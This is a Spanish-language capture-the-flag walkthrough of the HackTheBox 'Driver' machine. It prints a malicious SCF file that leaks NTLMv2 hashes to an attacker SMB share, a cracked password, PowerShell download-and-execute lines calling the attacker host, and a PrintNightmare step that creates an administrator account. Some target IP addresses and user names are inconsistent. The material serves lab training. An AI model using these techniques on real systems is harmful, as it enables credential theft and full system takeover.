> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Resolución de HackTheBox Driver

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Habilidades:**

* Adivinación de contraseñas
* Archivo SCF malicioso
* Escalada de privilegios local del Spooler de impresión (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/f8777c67117067ef7ee36ec46b71004d16b1b4ec" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/703cb71c02418e4ef173ae3fe68c614a90551c5e" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:** Explorando puertos abiertos y exportando en el archivo "allPorts" en el directorio de Nmap:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/ce2718a0220c4a8c05e41a3ea9c3325ed58d865f" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:**

Usando la función extractport para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/6c633feab5d9c6c9a442578d308f99f9b3f7f87d" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de la versión de los puertos con Nmap:** Uso de Nmap para escanear la versión de los puertos y extraer información en el archivo "targeted":

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/d3787e8d3f08c152e9714fd9343911ff045e83ce" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/3602b7cbb59ee741cc8717fef5bfb311b6ffb72e" alt="" width="563"><figcaption></figcaption></figure>

### Análisis del puerto 80:

El puerto 80 aloja un servidor web con un panel de conexión.

<figure><img src="/files/c024e25472996659f3c9b778860ab473d0792b4e" alt=""><figcaption></figcaption></figure>

Analizando con **WhatWeb** identifica un nombre de usuario predeterminado: `admin`.

<figure><img src="/files/4dad125db821fb6fce327a5a15eefbb123c8e9ff" alt=""><figcaption></figcaption></figure>

Intento de conexión a `admin:admin` como identificador.

### Centro de actualización de firmware de MFP:

<figure><img src="/files/74bca770cc812c2ce72ed4e69b141709daea55aa" alt=""><figcaption></figcaption></figure>

El sitio ofrece una opción de descarga de firmware. El mensaje indica:

> Seleccione la plantilla de impresora y descargue la actualización de firmware correspondiente en nuestro recurso compartido de archivos. Nuestro equipo de pruebas revisará las descargas manualmente y comenzará las pruebas pronto.

<figure><img src="/files/cb1397be567d6775d1175fd8de82d1a6bbefce55" alt=""><figcaption></figcaption></figure>

## Explotación - Archivo SCF malicioso :

Creando un `.scf` archivo malicioso para capturar el NTLMv2 de un usuario cuando lo abre:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Escuchando con **impacket** para capturar NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Capturar el hash NTLMv2 del usuario `tony`.

<figure><img src="/files/b06b881c4b3bd825c72a383bbdd97c78b9bc2a4d" alt=""><figcaption></figcaption></figure>

Romper el hash NTLM con **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/224b948ea1c511dac1bb73f0c07ce9faef4e441e" alt=""><figcaption></figcaption></figure>

## Conexión SMB y WinRM:

**Verificación de acceso** con CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/81c4622b309b47655a53897c7504bd81c724677f" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* conexión con CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/962e236f53fd8ba465a96409dc28dabed278ff88" alt=""><figcaption></figcaption></figure>

**Tomar control con Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/8c8bdaf80f7c5314a6f112a3de2429bba3e023e8" alt=""><figcaption></figcaption></figure>

### Flag user.txt:

<figure><img src="/files/8c8bdaf80f7c5314a6f112a3de2429bba3e023e8" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios :

### **1. Enumeración con PowerUp:**

* Descargando el **script PowerUp.ps1** en la máquina atacante y añadiendo el `Invoke-AllChecks` comando al final para iniciar todas las comprobaciones.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Transferencia del script a la máquina víctima mediante un servidor HTTP de Python:

```bash
python3 -m http.server 80
```

Ejecución en la máquina objetivo:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Resultado**: No se encontraron elementos relevantes.

<figure><img src="/files/6f6065ca71401000d4547e28c8e19db794a46da9" alt=""><figcaption></figcaption></figure>

### **2. Enumeración con winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Transferencia de la herramienta **winPEASx64.exe** a la máquina víctima:

`upload winPEASx64.exe`

<figure><img src="/files/f61f3ac11e198f0a7303fdd786368b2303454aee" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c0c679504360f20d4f477c853ee6940a9d3090f6" alt=""><figcaption></figcaption></figure>

## **Explotación de PrintNightmare (CVE-2021-1675)**

Se detecta un **proceso spoolsv** vulnerable, escuchando en un puerto TCP.

<figure><img src="/files/af39bbcc8bf19d2210f57e7dffa078d1bdad793b" alt=""><figcaption></figcaption></figure>

Usando un script de explotación para PrintNightmare, disponible en GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/d5205a4d0cbf1f72e78c4e2747651627dfe498c9" alt=""><figcaption></figcaption></figure>

Aquí están los comandos a ejecutar:

1. **Transferencia del script** para evitar el bloqueo por Windows Defender:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Creación de un usuario administrador** llamado `usuario`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/0cd0efd4eb855739aa72ffb764e249bdc1957ec1" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Estado**: `usuario` el usuario ahora está en el grupo de administradores.

<figure><img src="/files/84f63a2dd19986fe99cc6ac1f3196e11b0f91578" alt=""><figcaption></figcaption></figure>

### Conexión con privilegios de administrador

Conexión a la máquina mediante WinRM con **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/8e25410304de289341631a4879078d4b2de2c6c0" alt=""><figcaption></figcaption></figure>

### Flag de root :)

<figure><img src="/files/c575b06bf45de1cf483401eab3a8f9665de18836" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fd18b39543d33804f15a2ab539bc21b752442899" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
